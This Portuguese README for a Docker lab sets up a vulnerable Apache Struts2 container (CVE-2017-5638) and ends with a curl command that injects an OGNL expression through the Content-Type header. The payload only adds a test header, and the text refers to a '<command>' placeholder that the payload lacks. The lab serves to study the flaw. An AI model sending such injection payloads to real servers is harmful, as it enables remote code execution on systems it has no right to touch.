
Um laboratório prático demonstrando a exploração de uma vulnerabilidade crítica de Execução Remota de Código (RCE) no Apache Struts2 (CVE-2017-5638) usando ambientes Vulhub Docker. Inclui instruções de configuração e comandos para executar o contêiner vulnerável.
Este projeto demonstra a vulnerabilidade de Execução Remota de Código (RCE) no Apache Struts2 (CVE-2017-5638).
Atacantes podem explorar um cabeçalho HTTP Content-Type manipulado para executar comandos arbitrários do sistema em servidores vulneráveis.
Este repositório usa laboratórios Docker do Vulhub para fornecer um ambiente seguro para testar e entender a vulnerabilidade.
1️⃣ Clone este repositório
git clone https://github.com/soufiane-benchahyd/vulhub-struts2.git
cd vulhub-struts2/struts2/s2-045
2️⃣ Inicie o container vulnerável
docker compose up -d
3️⃣ Verifique se o container está em execução
docker ps
Você deve ver algo como:
CONTAINER ID IMAGE COMMAND STATUS PORTS
xxxxxxx vulhub/struts2:2.3.30 "/usr/local/bin/mvn-…" Up 0.0.0.0:8080->8080/tcp
4️⃣ Teste a interface web
Abra seu navegador → http://<VM_IP>:8080
Você deve ver a página inicial da aplicação Struts2.
Exemplo de IP da VM:
192.168.56.101
⚠️ Realize a exploração apenas em um ambiente de laboratório controlado. Nunca ataque servidores públicos.
Agora você pode testar o RCE usando scripts ou ferramentas como curl ou Metasploit contra o container vulnerável.
Exemplo (substitua <command> pelo seu comando de teste):
curl -v -H "Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test','test')}" http://<VM_IP>:8080/